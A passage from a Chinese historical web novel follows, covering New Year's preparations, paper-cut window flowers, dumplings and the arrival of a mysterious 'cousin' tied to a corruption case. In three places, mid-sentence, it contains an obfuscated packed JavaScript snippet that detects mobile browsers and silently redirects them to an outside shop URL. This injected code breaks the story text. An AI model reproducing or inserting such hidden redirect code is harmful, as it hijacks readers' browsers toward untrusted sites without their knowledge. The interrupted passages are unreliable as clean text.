崔明端仍是不卑不亢，“前几年，臣不曾去过梅花坞，对郡主境况一无所知，实在是难辞其咎。当日见郡主身边的侍女痴傻，嬷嬷老迈，误以为是底下的人上错了茶……” “今日吃什么了？”皇帝倒是没再追问下去，只是嗅得他衣裳的气味。 “鸡面汤，与手撕鸡。” “爱卿从前十分慷慨，连书袋的柿子都给了朕，现下却会吃独食了。朕上回找荣安要的蔊菜没有，送的芹菜是生的。这有了好东西，尽到你肚子去了。” 这话，放寻常人家里，或只是轻微抱怨，但此处是皇宫，罪名可大可小。 “鸡汤是郡主事先炖好的，面是侍女揉的，最后却是臣自己煮的。若是御膳房今日也备着面，陛下不嫌弃臣的手艺，臣便献丑了？” “这一回便罢了。否则，还不知史官还如何记这乱糟糟的一天。” 风雪又大了起来，纷飞的帘子也遮挡不了多少。 好在摆的炭盆多，没有多少寒意，这才是赏雪的妙境。 皇帝忽而喟然长叹，“今日事，你或是想着，朕再不是从前了？” “臣万万不敢揣测天子威仪。” “你看这雪，倒是让朕想起白鹿书院。六出飞花入户时，坐看青竹变琼枝。如今好上高楼望，盖尽人间恶路岐[1]。下雪天，朕总得挑一个清净处画扇。年年画扇，画数十个，又得画出新意来。 荣安心里委屈，朕何尝不委屈？我为皇子，万事不敢忤逆父皇。而今，贵为天子，可你看看，六部里有多少老臣，从前还拥戴过睿王？朕若将人一一换了，必将被朝臣议论朕不能容人，不是明君。 这委屈，朕受着，荣安也得先受着。” …… 赶着在宫门下钥前，崔明端出了宫。他再回首去看巍峨宫墙，不由想起她若在，不知是何心境。 陛下说了推心置腹一番话，也露出整顿吏治的决心。 崔明端为人臣，无法评说，只能呼喊陛下圣明。 小年便这样预备着了。 送到梅花坞的礼，似乎比往年多了好些。 萧家茶楼的地基，已经在挖了。 村民看着往来的马车，不禁咋舌：自己是摊上了个好运道。山上原真是住了个贵人呢！ 那位和气的贵人，竟是荣安郡主！怎么先前无人告知？城中也没说此事。 这疑问，也只有陵安府的人能解。梅花坞的乡民，原是从旁处调来的。这一片住的人不多，且不说只是在城郊。就是内城的百姓，还分城南城北呢，几时轮得上他们城郊？ 小年，各处的赏赐是一样的，独独崔家多了一份茶叶，岭南之地的贡茶，份量极少，水清味醇，香浓韵绝。 光是过年待客，就给崔家挣足了颜面。 梅花坞则是多了两份东西。一个是莲子，是建宁贡品；二是一对仙鹤，活生生的仙鹤。 萧鸣笙震惊不已：为什么又是很刑的东西？ 她往那些小太监身后看了看，并未看到活蹦乱跳的仙鹤，不禁稍稍松了口气。 “陛下说了，崔大人特意向御药房要了一对鹿角，正好再添一对仙鹤，取鹿鹤同春之意。” 这样好的意头，向来是臣子向天子献的吉祥话。陛下这是多看重荣安郡主啊！ “陛下也让奴才来问问郡主，是要今日就送来，还是……” 萧鸣笙震惊之余，理智尚存。“如公公所见，我这儿地方不大，就是练箭，也是借了荷花池，待明年荷花长出，还不知要将靶子挪到何处去呢……再说了，我身边伺候的，都是西北的老人，养马倒是无师自通，养鹤，那是万万不会的。” “郡主说的是，奴才会一字不落回禀。”福公公的眼睛笑得都快眯瞧不见了，“这儿还有建宁的莲子，粒大圆润，色如凝脂，是莲中极品，最适合郡主用。” 萧鸣笙谢恩，福公公还多嘴说道：“今年，是崔大人和郡主最得陛下圣心。郡主在吃药，那茶叶就全赏了崔大人。” “臣女多谢陛下挂念。” 她示意阿草给福公公赏钱。 福公公推辞着不收，萧鸣笙道：“往年的情境，想来公公也是知的。今年幸有陛下明察秋毫，往后，约莫是无人敢糊弄我，自然少不了公公的好处。” 这话，自然是不能只听表面。 荣安郡主何尝不是在敲打他？ 福公公战战兢兢收了赏钱，回宫复命去了。 “哼……” 等人走了，阿草还对着山路一阵比划，好一个偷鸡贼！ 萧鸣笙只是笑，又拉了她回屋去剪窗花。 “郡主，要不我们还是赶紧再盖个房子吧，把鹤也接过来，就和小草一样。养鹤嘛，想来和养猫是一样的，学学就会了，我来养。” “唉……” 萧鸣笙只差去揉揉阿草的脑袋。萧家有没有地方养，陛下能不知道吗？ 没地方，命人盖一盖，不就有了么？不会养，原先照顾的仙鹤的宫人不能也跟过来吗？ “你可听过仙鹤的叫声？” “西北也有，脖子上面是黑色，尾巴也是黑的，身上不怎么白，我觉得不——” “嘘……” 萧鸣笙赶忙捂了她嘴。大自然的精灵，自然都是好看的。 天子御赐的仙鹤，是丹顶鹤，头顶一点红，身上雪白，仙气飘飘，自是祥瑞之物。 “那鹤的叫声，大着呢。梅花坞空旷，又这么多山林，它耳朵一竖，听到风声，头一抬，就看到飞鸟，定是要伸长脖子叫唤……还是陛下思虑周全，先将鹤放在兽苑，等我身子好了，我带你去瞧瞧。” “好吧……”阿草倒没多大失望。她在西北经常能看到鹤在头顶飞过，那叫声能飘好远，比羊咩咩叫还闹。 小年，是要除尘迎新的。 用一根长长的竹竿，插在扫把上，将房梁上的蜘蛛网都刮走。 桌椅都要用湿布擦一擦，地全拖一回。 家里，大也有大的坏处。得亏是卢妈妈闲不住，前些日子就陆陆续续将家里打扫了一番。 眼下，只是要剪些窗花，贴上去。 前些年在守孝，家里是一丁点红也没添。 今年可是要热闹一番。 萧鸣笙装扮过自己的小店，也学过如何剪个福字。 拿了几张红纸，她在堂屋的桌上折了又折。 阿草学了一会儿，手再巧，也做不来这样细致的活，借口去找小草，人是一溜烟走了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362575|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 崔明端来时，便看到她对着天光展开福字痴笑的模样。 多少是带着些傻气。 然而，看着看着，他亦是不自觉也跟着笑了笑。 阿藤有眼力见，没跟进来，去问袁志有什么需要搭把手的。 堂屋是打扫干净的，袁志起了个炉子放着，也实在没找到活干，打算把后院的柴火重新收拾一番。 “大人来了怎么不说一声？”萧鸣笙将那窗花放着，示意他坐。 “臣扰了郡主。”崔明端亦是道，“内侍省没送窗花来么？” “宫里送的窗花精美，什么龙凤呈祥，贵花祥鸟，好看是好看，就是……我那儿不是新起了个大棚么？如果贴一张龙凤呈祥，岂不是糟蹋了陛下的心意？” 她说的窗花，抑或是旁的。 崔明端听懂了，也只当说的是窗花。他怀中带的，也是窗花。 “家父离京前，放了些东西在我这儿。” 递过去，是一本书。 萧鸣笙稍一扭头，才看清名字《列子》。 她借用芹献的典故，可不是要让探花郎的爸爸来督促自己读书的啊！ “郡主且翻开看看。”她这样外露的厌学情绪，崔明端在绪安面前也看过，不由起了些促狭心，“家父没听过郡主的高谈阔论，否则定不会送这本来。” 萧鸣笙放下剪子，翻开一看，里头竟夹了一张张窗花，十二生肖，惟妙惟肖。 用崔三爷剪的鸡，贴在棚子那儿，可不正好？ “这……道长……咳咳……我是说令尊，怎么提前就预备了过节的礼？小女可没厚礼回赠。” 父亲离京，自然是带着她的厚礼。用那个古怪的炉子烤的猪肉脯和面包。她一再叮嘱了，“肉松面包不好久留，一两日就该吃了。” 父亲也没同他客气，将猪肉脯尽数带走了，“这一去，还不知猴年马月回来呢，你小子厚颜，多去几趟，便能吃着。” 故而，他便厚颜来了。 眼前人，也总是不解风情，疑惑道：“今儿不是小年了么？大人怎么还过来？” “……” 正是因着小年了，他才特意过来。一是送父亲那本窗花。二…… 他没将“二”圆出来，她已经替他找好了借口，“想来大人和我一样，家里人在忙，但却找不到事能搭把手，大人坐会儿。” 她起身去找了一盘好东西来招待贵客。 “灶糖，大人吃一块。” 把这位天子伴读的嘴封住了，挺好。 她有小心思，总是笑而不自知。 崔明端很是配合，拈了一块，还适时问道：“不知是如何做的？” “嗯，就是白芝麻炒熟，加入麦芽糖，小火翻炒。用砂锅加一点点水，把糖化成糖水，与芝麻糖一同翻炒。也没什么诀窍，就是小火翻炒均匀，倒在砧板上用擀面杖擀开铺平，再趁热切成小块。” 崔明端手里拈的，正是一指大小的糖块，她说的亲近自然，不知不觉将糖放进口中，芝麻香气浓郁，麦芽糖和白糖混合得均匀，但灶糖不管怎么做，都将口黏住了。 瞧她又拿了剪子，崔明端反倒有些不知所措。吃着灶糖，实在不方便开口说话。她自个儿怎么不吃？ 早知如此，就厚颜去侯府—— “郡主……本公子来给你拜早年了……咦，崔兄怎么又偷偷跑来没带我？” 崔明端着实是有苦难言。 就说不该偷吃灶王爷的糖罢。 绪安哒哒进来，看到端坐的崔兄，眼泪差点掉下来，“呜……郡主……崔兄老是这样屡教不改，你说说他呀……” “呀，今儿过小年可不兴哭。我来说他。” “嗯！” 绪安眨眼间就收了泪，徒让黏住口的人一脸郁郁。 “郡主，你看，崔兄还不对我笑！” “哈哈……” 萧鸣笙只很自个儿体弱，否则如崔大人一般，长手一伸，就将这红通通的小团子捞到腿上坐着，再往团子口中塞一块芝麻糖。 “呜……” 团子咸鱼横躺在崔明端怀里，与他干瞪眼。 这下好了，一大一小，都被灶糖黏住了。 90.驱寒娇耳汤 起先，绪安不大安分，还想说些什么，只是才一动作，口水便不住往外流，还是崔明端眼疾手快，用帕子兜住了。 小团子再口无遮拦，也是要脸面的。 这下，便老老实实坐在崔明端怀中。眼睛骨碌碌地转。 而崔明端，好不容易将口中芝麻糖吃完，再垂眼去瞧绪安神色，更是抿了笑，“怎又一人出来？” “呜……”他才要开口，口水争先恐后要出来。 崔明端将帕子给他自己捂着，又絮絮念叨：“小年，原也不该上门，我才没去叫你。你便是要来，怎不同令兄一道来？下回不许了。” “嗷……”绪安没法，只能同狸奴一般应声。 萧鸣笙瞧着二人和谐相处，真乃一物降一物。 她还没乐完，眼前已经出现了崔大人的手，“臣给郡主剪只金鸡贴棚子上。” “啊？可令尊不是已经送了一套么？” “……说的正是，那是一整套，单独取一只出来，反而不美。不若臣来剪几只，贴剩余的，还可给绪安玩一玩。” “那，多谢大人了。” 萧鸣笙也同绪安一样，老老实实松开了手，要将剪子调转方向，生怕扎到了他。 崔明端何尝不是这样的心思？见她要换，赶忙是接了过来，身子还略略向前倾，“当心……” 可怜了怀中团子，就这样被颠簸着。 他静静看着崔兄的耳朵红了起来，而郡主面颊也有丝丝红云。 也不知娘亲在时，与爹爹是不是也这般模样？ 不过，爹爹没崔兄长得好看，还是不想了。 眼眶的泪，起了便没那么快收回去。 崔明端将红纸折了又拆，拆了又折，变化繁复，剪下的碎纸落在了绪安怀中。 小团子奋力嚼着口中的芝麻糖，有苦也说不出。可他心宽，没一会儿就开始苦中作乐了，外头下的白雪，崔兄给他下的红雪呢！ 郡主这糖，也甜，他爱吃，就是稍稍费劲。 往常府里祭灶的糖，都赏给了府里下人。绪安便是贪嘴，嬷嬷们也怕这东西黏牙，生怕将小公子给噎到了，吃出什么好歹来。 崔明端更是甚少吃过。崔家有不少点心，芝麻糖也不会摆在他案头上。 今日，一大一小吃得艰难，心里也觉着新奇不已。 几番变化，崔明端展开红纸，但见雄鸡朝天，栩栩如生。 “呀，原以为大人是哄小公子的，竟是个中好手，这雄鸡可真威风。” 萧鸣笙见了，再拈了张红纸过去。 “雕虫小技，献丑了。”崔明端照着再剪了两只出来。亏得阿藤不在，否则看大人游刃有余在剪窗花哄人，必得竭力忍了笑。 昨夜，房里的灯亮了大半宿，也不叫自己守夜。今日去收拾时，发现废纸篓里堆了好些东西。他怕是一些要紧的公务，略略翻了翻，却是一些剪得零碎的纸片。 崔家六郎再如何才貌超群，对剪纸一事也不可能无师自通，已经照着父亲的图练了好几日。 他又照着萧家人的生肖，都各自剪了一对出来。 “过年时贴在房里，来年平安吉祥。” 面面俱到的崔大人如是道。 就连是潦草，也有两只猫图。不过，崔三爷没有剪过猫，崔明端是照着老虎改的。故而这猫，带着几分虎样。 “这……” 绪安好不容易将口中黏牙的糖都吞到肚子去了，拈了猫歪头思考。“好像与我这个大老虎有点像……” 崔明端先是红了耳根——不过他素来不戴帽子，便是红，那也是北风冻的。 萧鸣笙笑道：“自然了，老虎是大猫，小草是小猫，都是招人疼的猫猫。” “呜……”绪安原是想说崔兄没用心剪他，听了郡主哄人的话，他反倒是不能埋怨崔兄了。 唉，崔兄命真好啊！ 如此，大家都分到了窗花，欢欢喜喜贴了上去，日头也快到正午了，按理，客人是该告辞了。 然而，绪安出门前是被交代了，最晚吃了午食就得即刻告辞，一点也不着急走。 崔明端过来，自然也是有私心的。小年阖家团圆，又要祭灶，拜祖先。 他想着，也跟着拜一拜。 可惜，萧鸣笙不知二人都是存了要留下吃饭的心思。 还是卢妈妈热心道：“也不早了，大人和小公子吃几个饺子垫垫肚子，回去也不耽误吃饭。” “好啊好啊……”绪安忙不迭应道，“我来时，已经吃了一碗羊汤了，就吃几个饺子。” “好……” 幸亏是绪安的声音轻快，遮住了崔明端略带心虚的回应。 饺子，今早就包好的。 羊肉馅的饺子，放在滚水里一煮，不多时就能捞出来，蘸着醋吃。 绪安的年纪小，总觉着别人家的饭都是香的。也忘了自己不爱吃厚皮的原则，饺子吃了一个又一个。 而崔明端，萧鸣笙也念着他不带帽子的劣习，借着哄绪安的话编排他，“原先这饺子，还是个治病的良方呢。” 侯府没有女主人，绪安也不爱同仆妇们呆一块儿，要么就缠着兄长，要么就在侯爷跟前读书。 一听跟吃的有关，他便好奇道：“这饺子个大肉多，难不成是治肚子饿的？” “……” 好极了，小团子还会讲冷笑话了。 萧鸣笙默默看了一眼崔明端。后者则是无辜回望，但还是略略轻咳一声，“且听郡主话。” “好……”小团子便委屈巴巴望向萧鸣笙。 “东汉时，医圣辞官还乡，正值冬至，家乡流行着伤寒病。无数百姓病痛缠身，耳朵都被冻伤了。他目睹此景，深感痛心，靠多年行医的经验，研发出了一种名为‘祛寒娇耳汤’的食疗方。百姓不用费钱去铺子抓药，也能饱饱肚子。这便是小公子说的，饺子也能治饿病的缘故。” 讲完故事，萧鸣笙也不忘给团子挽挽面子。 “嘻嘻……本公子不过是随口戏言，当不得真。” 嘴上谦虚，然而绪安的头，抬着的姿势，快赶上兽院的仙鹤了。 崔明端看他吃得欢，顺手将虎头帽拿了下来，免得热出汗，反而不好。 萧鸣笙便继续道：“他将羊肉和祛寒药材在锅里煮熬，捞出切碎，用面皮包成耳朵状的娇耳，下锅煮熟。娇耳不仅味道鲜美，还有驱寒祛病的功效。他将煮好的娇耳和祛寒汤分发给乞药的病人，每人两只娇耳、一碗汤。人们吃下后，浑身发热，血液通畅，两耳变暖，伤寒病也随之痊愈。” “呜……后来的事，本公子也知道了，百姓觉着这方好，便在冬日开始吃饺子，保护耳朵。” 绪安迅速总结，还人小鬼大看了看崔明端，“崔兄不带帽子，多吃两个娇耳，嘻嘻……” “是，有心了。” 崔明端便也顺理成章再去多加几个饺子，也给真正有心的人加了两个，“郡主在院中练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375975|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 箭，寒风也冻耳，多吃几个。” “……” 好极了，饺子回到身上系列。 这顿饺子宴，萧鸣笙不出意料又吃撑了。 送完客，她顺便练了箭再祭灶沐浴，不由细细打量了这具身体。 原想着，穿越就穿越，不过是代替原身好好生活，不能白白受着她的荣华，须得好好护着家里人。 然而，照着这路子走下去，约莫是连她的姻缘也要抢了。 借着浴汤的遮掩，她悄然展开手心，上头的黑痣，又不见了。 唉……自己只是一缕神魂，便要鸠占鹊巢么？ 萧鸣笙心事重重，以至于年前这几天闷闷不乐。 谁知，往年，她也是如此，卢妈妈和阿草他们都没怀疑。只道是郡主想将军了。 崔明端在萧家过了半日的小年，这事在崔家也掀起了小小的波澜。 族老问起陛下对这桩亲事是何态度。 “想来是快了。” 崔三夫人当即是白了脸色，在崔明端过来请安时，更是试探性问要不要先添几个丫鬟。 “儿子也正有此意。” “那好——” “前儿打发了人出去，府里再买几个新的回来调教也好，见一见场面，免得来日怯场，缺了人手。” 崔家能有什么大场合？不外乎是崔明端迎娶荣安郡主。 他也一道将话说了出来，“来年的开支，或是要好好算一算，免得成婚的旨意来的突然，府里一时拿不出太多现银来，失了清河的脸面。” 这下，崔三夫人也不知该如何说，只能僵硬笑了笑，“是了，婚嫁都是大事。过了年，你表妹也十七了，前儿你舅舅还来信，请我为你表妹多留意呢……” “京中儿郎众多，自有良配。” …… 母亲有意撮合，崔明端不是不知。不说家中并不赞同，他也无意于此，心想母亲总该看明白的，只是不曾想，年后人便在崔家住了下来。 而梅花坞也有人来投奔。 赶在了大年三十夜，一对母女敲响了萧家的门。 风雪甚大，一老一少，衣衫俭朴，戴着破旧的毡帽，脸蛋红扑扑的。脚上的靴子，也被磨破沾湿了。 袁志在给炉子加炭，卢妈妈开的门，对着说着一口官话的人，也疑惑：“我们夫人的外甥女？” 萧夫人，是江南人士。只是在西北住了多年，从前的亲戚没怎么走动过，儿郎要投军历练，袁志倒是见过几个。女眷就不清楚了。 卢妈妈从前只是个粗使婆子，也不认得。 眼下，人已经到了，风尘仆仆站在家门口，天又下着雪，也不好将人往外赶，这大过年的。 萧鸣笙沐浴出来，阿草便凑过来耳语：“郡主，你知道你有一个外甥女吗？” “哈？” “哦不对，卢妈妈说她是夫人娘家的外甥女，也就是郡主的……” “表姐表妹？” “嗯，郡主你真聪明，卢妈妈就是这么说的。” 萧鸣笙当即从自己的伤春悲秋里走过来，一脸警惕：“从前也没听说家里有什么亲戚来往，怎么忽然有什么表姐妹过来？人呢？” “已经在灶房了……”阿草抱着小草，也困惑。 “嘶……” 萧鸣笙当即倒吸一口凉气。灶房里放的，是萧家的年夜饭，还有各色吃的。 一不留神，给人动了手脚，岂不是正好一网打尽？ 91.杨梅果脯 萧鸣笙惊讶卢妈妈怎么就直接将人带灶房里了，这也不是待客之道。 等到了灶房一看，才知缘故。 萧家不是每个房间都摆着炭盆，索性年夜饭就摆在灶房了。 二人将那身残破的披风脱下后，再如何勉力维持体面，也抵不过瑟瑟发抖。 卢妈妈也是苦过来的，赶忙告罪道：“这儿没炭盆，要不先到灶房？锅里还有热水。” 二人来投奔，自然是主人家说什么就是什么。 萧鸣笙进屋前，也厘清了。萧夫人的外甥女从没去过西北，如卢妈妈阿草这般，都没辨出原身已换了人，只是个表小姐，自己不必慌乱，且看是不是真亲戚才是要紧事。 阿草进去，将袁志换了出来。“主子，……人，好像有点不对。” “何处不对？”萧鸣笙钦佩他的敏锐。 “嬷嬷说，她们是十月从越州府坐马车来的。时间对不上。而且，二人千里迢迢 ，不走水路，去坐马车做什么？路途遥远，再没护院，即便走的官道，也不安全。” 萧鸣笙思虑再三，反问道：“我从前一味缠绵病榻，也不晓得家里若是出了事，该如何示警？总不能光靠你吧？到底也是双拳难敌四手。” 说也奇怪，这会儿，袁志倒有些为难。“宫里，是给了示警的焰火。” “宫里啊……不是要紧事，也轻易用不得。罢了罢了，万一是个乌龙……” 萧鸣笙又问道，“你可看出二人是否会功夫？” 袁志摇摇头，“不像。” 但是，若要害人，何须强攻？带病来，或是下毒，不经意间便能事。 为了郡主安危，袁志也不好再隐瞒，“其实，崔三爷……曾经给了我几枚崔家的示警焰火。属下誓死效忠萧家，绝不……” “我晓得你的忠心。”萧鸣笙不介意，反而是笑道，“三爷也想得周到，总不能有点风吹草动，都惊动宫里。最后狼真来了，反而没人来救。三爷的也暂时别……” “郡主恕罪——” “嘶……你已经用了？” “嗯。” 袁志一脸为难，想了想又补充道，“即便是要来投奔，这时间也太巧了。年三十，京城是允许放焰火的，等到出事再示警，也不一定有人瞧见。” “唉……罢了罢了，既是叔父的安排，想来也是他的心腹，好在今年赏赐丰厚，到时多给些赏钱也就是了。” 萧鸣笙万事都想到了，唯独没料到崔三爷的心腹是何人。 且说萧家的年夜饭。 总不能由着她们主仆说是萧夫人的外甥女，便是吧。 路引文书，袁志已经看过，像是真的。 一家人便坐着用饭，萧鸣笙也道：“家里没多少人，都坐一处吧。” 她最上首的位置，左侧位一般是卢妈妈坐的，今日也让给了这位秦家姑娘。 秦姑娘自言是越州人，是萧夫人表姐的女儿，父亲是越州山阴县的县令。 “我自幼在西北，也听母亲说起姨妈。不知表姐怎么独自上京来了，也没同姨妈一起来？” 萧家人给了体面，看过文书后，由得对方自报家门，寒暄客套的话，全部交给了主子们。 秦姑娘净过面，经由风雪刮过，虽涂了润肤膏，还是通红一片。 “回郡主的话……”话才起个头，人已经掏出帕子，“母亲……也想来……只是这些年，郡主在守孝，不宜来扰了郡主……今年入了夏，母亲便说起上京的事……可是……” 嗯，可是什么？ 这位秦表姐没说，就哭成了泪人。 萧鸣笙尚不通晓实情，也只能将目光移向那位嬷嬷。 谁知，这嬷嬷也是一顿哭。这下，可把萧家人看懵了。 “是我的不是……表姐莫哭了，先吃碗羊汤暖暖身吧……哪有空着肚子说话的道理？” 萧鸣笙起身，为她舀了汤，热热的羊汤吃了，秦姑娘缓了不少，抬眼怔怔望着眼前的饭菜，倏然起身，朝主位的萧鸣笙行了个大礼。 “秦……” “陵安少尹崔明端，见过荣安郡主。” 一道急促的声，从灶房门口传了进来。只见来人姿容不凡，肩上带着薄雪，仿佛天外来客。 “崔大人……” 萧鸣笙惊讶不已，向他身后看去，阿藤也躬身候着。这崔三爷给的焰火，联系的是阿藤？ “底下的人来报，说是有人来投亲。臣奉命前来，请二位到堂屋说话。” 萧鸣笙也没拦着，这位表姐光吃羊汤了，旁的一句话也没说。 阿藤请人往堂屋的方向走，秦姑娘也配合，身姿玲珑的人，去了厚重的披风，在灶膛前的火光映衬下，越发楚楚可怜。 这副情境，没落在崔大人眼里，反而是萧鸣笙看美人行走，眼都看直了。 外头天色也不早了，过年，萧家难得挂上了灯笼，于灯火阑珊处看美人，更是别有一番风味。 崔明端原不好直视于她，站了半晌，余光发现她竟十分有闲心去看那位来路不明的表小姐。 一路的惊惧，皆化成了心肝疼。 这一回，他也不想再讲什么礼法，一抬袖，上头的雪花就落了下来。 不过是几个箭步，她的袖子，便已糊涂落在他手里。 伴着某人沉重的叹息，萧鸣笙也才回神，“叔父给的焰火……我以为是他心腹来……” “臣，便是家父最可靠的心腹。” “……” 萧鸣笙：崔大人，我怀疑你在说冷笑话，但是没有证据。 她忍笑忍得辛苦，也记得正事，“那位，说是家母表姐的女儿，姓秦，是越州山阴县秦县令家，问是何事来投，便哭得不能自已。也不晓得是真是假……” 这一回，崔明端没瞒她，“这位，约莫不是姓秦。” “嗯，我也想过……” 萧鸣笙想着那姑娘脸上冻出的红疮，不免叹息。 “郡主所叹何事。” “我想，她——姓耿？” 萧鸣笙也没瞒他，果真得见崔大人一副孺子可教的神色，不禁神采飞扬道，“在登闻鼓院升堂前，荀大人便说过，道长为何下山。我想，为的约莫是吉安一众官员的身家性命。 眼下，户部只罚了一个尚书，吉安府判得最重，但也只是收监，秋后问斩。若其中还有冤情，也还有转圜的余地；若是人都死了，这案子，便成了吉安府一手遮天的贪腐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388868|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巨案。” 她说到激昂处，才发现左手似乎不好动弹，低头一看—— 袖子在某人手里。 最后，声调不由弱了下去，“这样大的疏漏，户部不可能不知道，由着吉安府一贪就贪了六年……罢？” 这手，该放开了罢？ 然而，崔明端故作不知，一味捏着她袖口不放，“郡主所言甚是，臣受教了。” “……大人，吃过年夜饭了么？” 此问，崔明端只是轻轻应声，却没说实话。父亲示警的焰火，崔家有人专门盯着，当即报到了阿藤那儿。 方位是在城郊，必然是梅花坞了。 那人还奇怪，“三爷走前说了，务必要日夜盯着。小人这会儿出城去看看吧。” 哪里轮到他出城？阿藤也同大人说他来看便是。 亏得崔家的年夜饭吃得早，已临近散席。 新年要守岁，他也多年不曾回京了，以防宫里传召，没吃几杯酒。本想着，用完饭，先去临近几家走走，拜个早年，不想梅花坞先出了事。 他镇定自若，侧身与她一同去看飞雪，偷闲话起家常，“寒舍有一道乳糖真雪，侄孙辈爱吃得紧。本想让阿藤送一份过来……” “哼……”萧鸣笙闷声提了提袖子。“夏日才有的吃食，大人何故说来馋人？” “是……臣瞧着那碎冰，总记得这儿的雪。” 崔明端撤回手，适时从袖口摸了个荷包，除去他身上的木香气，还有一丝果香。 “杨梅果脯，守岁醒神用的。郡主，吃么？” * 阿藤跟着崔明端在眉州办过案子，请人到堂屋，客客气气请她们坐，“耿姑娘稍候片刻，大人即刻就来……” “是……” 秦姑娘应完，嬷嬷咳嗽一声，她才慌忙去看阿藤的反应。 谁知他像是没听见似的，只是站在一旁。 秦姑娘便又先说道：“方才没来得及回禀，小女姓秦……” “是，耿姑娘。” “……” 等崔明端过来时，阿藤将两人的户籍文书递了上去，“大人请看。” 眉州产茶，多少人挖空了心思要贩私茶。 伪造的官府文书五花八门，粗劣的，一眼就能辨别出。精致的，比如手里这份，乍一看，确实像真的。 辨别文书也无需什么技术，崔明端自幼看的便是真的，若是假的，不用过手，一眼便能识别出来。 “姑娘特意挑在年三十来，不知所为何事？” “小女有冤，请大人明鉴。”秦姑娘蓄着泪，当即要跪。 “本官记得山阴县，并无冤情。” “小女……” 秦姑娘犹豫了半晌，反倒是叫阿藤寻到了话，“要说近日何处有大案，也就郡主的封地了。姑娘莫不是来自吉安府，而非越州？” 崔明端自顾自坐下，看二人形容憔悴，再翻着手里文书，走的官驿。 像，是有几分像。 可惜，崔明端鼻息甚灵。那日他回京，也是走水路，坐的渔船，以至于身上带着一股难以言喻的腥味。 主仆二人，与他和阿藤一样，都是在梅花坞渡口下船的。 92.假蛤蜊 假蛤蜊 “吉安府的冤情，也轮不到本官来申辩……” “可是，大人是郡主未来夫婿，郡主封赏诸事不明不白，大人可能甘心？” 耿姑娘也未嫁人，同外男论起这些，多少有些羞赧。可走前就被爹爹叮嘱过，“去京城，找崔家，只有崔家才能救我。” 然而，该如何救，耿康太也没说仔细。也怕闺女半道落入旁人之手，反倒成了要挟他的筹码。 崔明端也没多逼问，只道一声：“既是吉安府的案子有内情，姑娘自去敲那登闻鼓就是。郡主当日亦如是。” 耿姑娘又是哭得不能自已，下船的时候打听到，这案子，登闻鼓院已经判了。爹爹秋后问斩。自己便算是逃犯。 荣安郡主能走到登闻鼓院去，自己能么？可是能保住命？ 崔明端起身出去时，耿家姑娘都没将底牌交出来。 他到灶房时，人也巴巴等着。“怎不用饭？” “饭又不走，不急。”萧鸣笙关切道，“她孤身上京来，或是带了比密报更重要的情报来？” 崔明端摇摇头，“或是有，不过没交给臣。” “这就怪了，她巴巴来我这儿，不就是想见你么？”萧鸣笙也费解，丝毫不知这话多少有些不妥当。 崔明端暗自吸气，“家父如今是吉安府尹，有什么冤屈，耿大人向家父申诉，我一个陵安少府，哪管得到？” 萧鸣笙便是有意想帮一把，可这位秦家表姐除了哭，也不开口，实在是难办。 偏崔明端看多了，施施然走来，“郡主也制了盏蒸羊，臣爱吃。” “……” 萧鸣笙生生是教他气笑了。“大人爱吃，就多吃点！” 几乎是咬着牙说的。 “那臣就恭敬不如从命了。” 于是乎，年夜饭分成了两桌。 主子们又在灶房里，阿草他们去了堂屋。 五辛盘、盏蒸羊、假蛤蜊、东坡豆腐、红烧鱼、椒盐虾。这么一分，本就不大丰富的年夜饭，倒成了家常样子。 卢妈妈是最讲规矩的人，“郡主和大人先吃……” 萧鸣笙笑道；“那可不成。等下菜冷了，还要再起火去热，费柴火呢。嬷嬷就安心带阿草去吃，今夜让她多吃两杯暖暖身。” 卢妈妈哪里不知这是郡主的善心。下人收拾主子余下的饭菜，也是莫大的恩典了，哪里就需要重新起火去热？ 阿藤得了大人示意，熟门熟路帮着将菜移过去。 “记得点个炭盆。”萧鸣笙很是不放心，就算不为耿家姑娘考虑，也别把自家人冻着了。 而身后，崔明端净过手，看着桌面上略显简单的年夜饭，心里莫名安定。 “内侍省好歹是将鱼羊都送了来，否则今夜还不知拿什么招待大人呢？” 萧鸣笙跟着坐下，要将那碟盏蒸羊挪到他面前去。 崔明端不着痕迹摆正，话起家常，“今日臣进宫去看了郡主的仙鹤。” “体型可大？” “已经贡来几年了，灵气逼人。” 黑白配的生灵，总是自带一股惹人怜爱的气质，譬如熊猫，奶牛猫猫。 萧鸣笙尚且出神想着那对仙鹤，与房中的鹿角，碗里已经叫人添了块鱼肉。 是鱼腹的位置，刺也被剔了。 “大人从前也伺候天子用饭么？” 这话换做旁人问，就算是荀二郎，崔明端必得训诫一声，可换了她，他如实道：“天子厚赐，臣吃得多。” 所以会剔鱼骨。 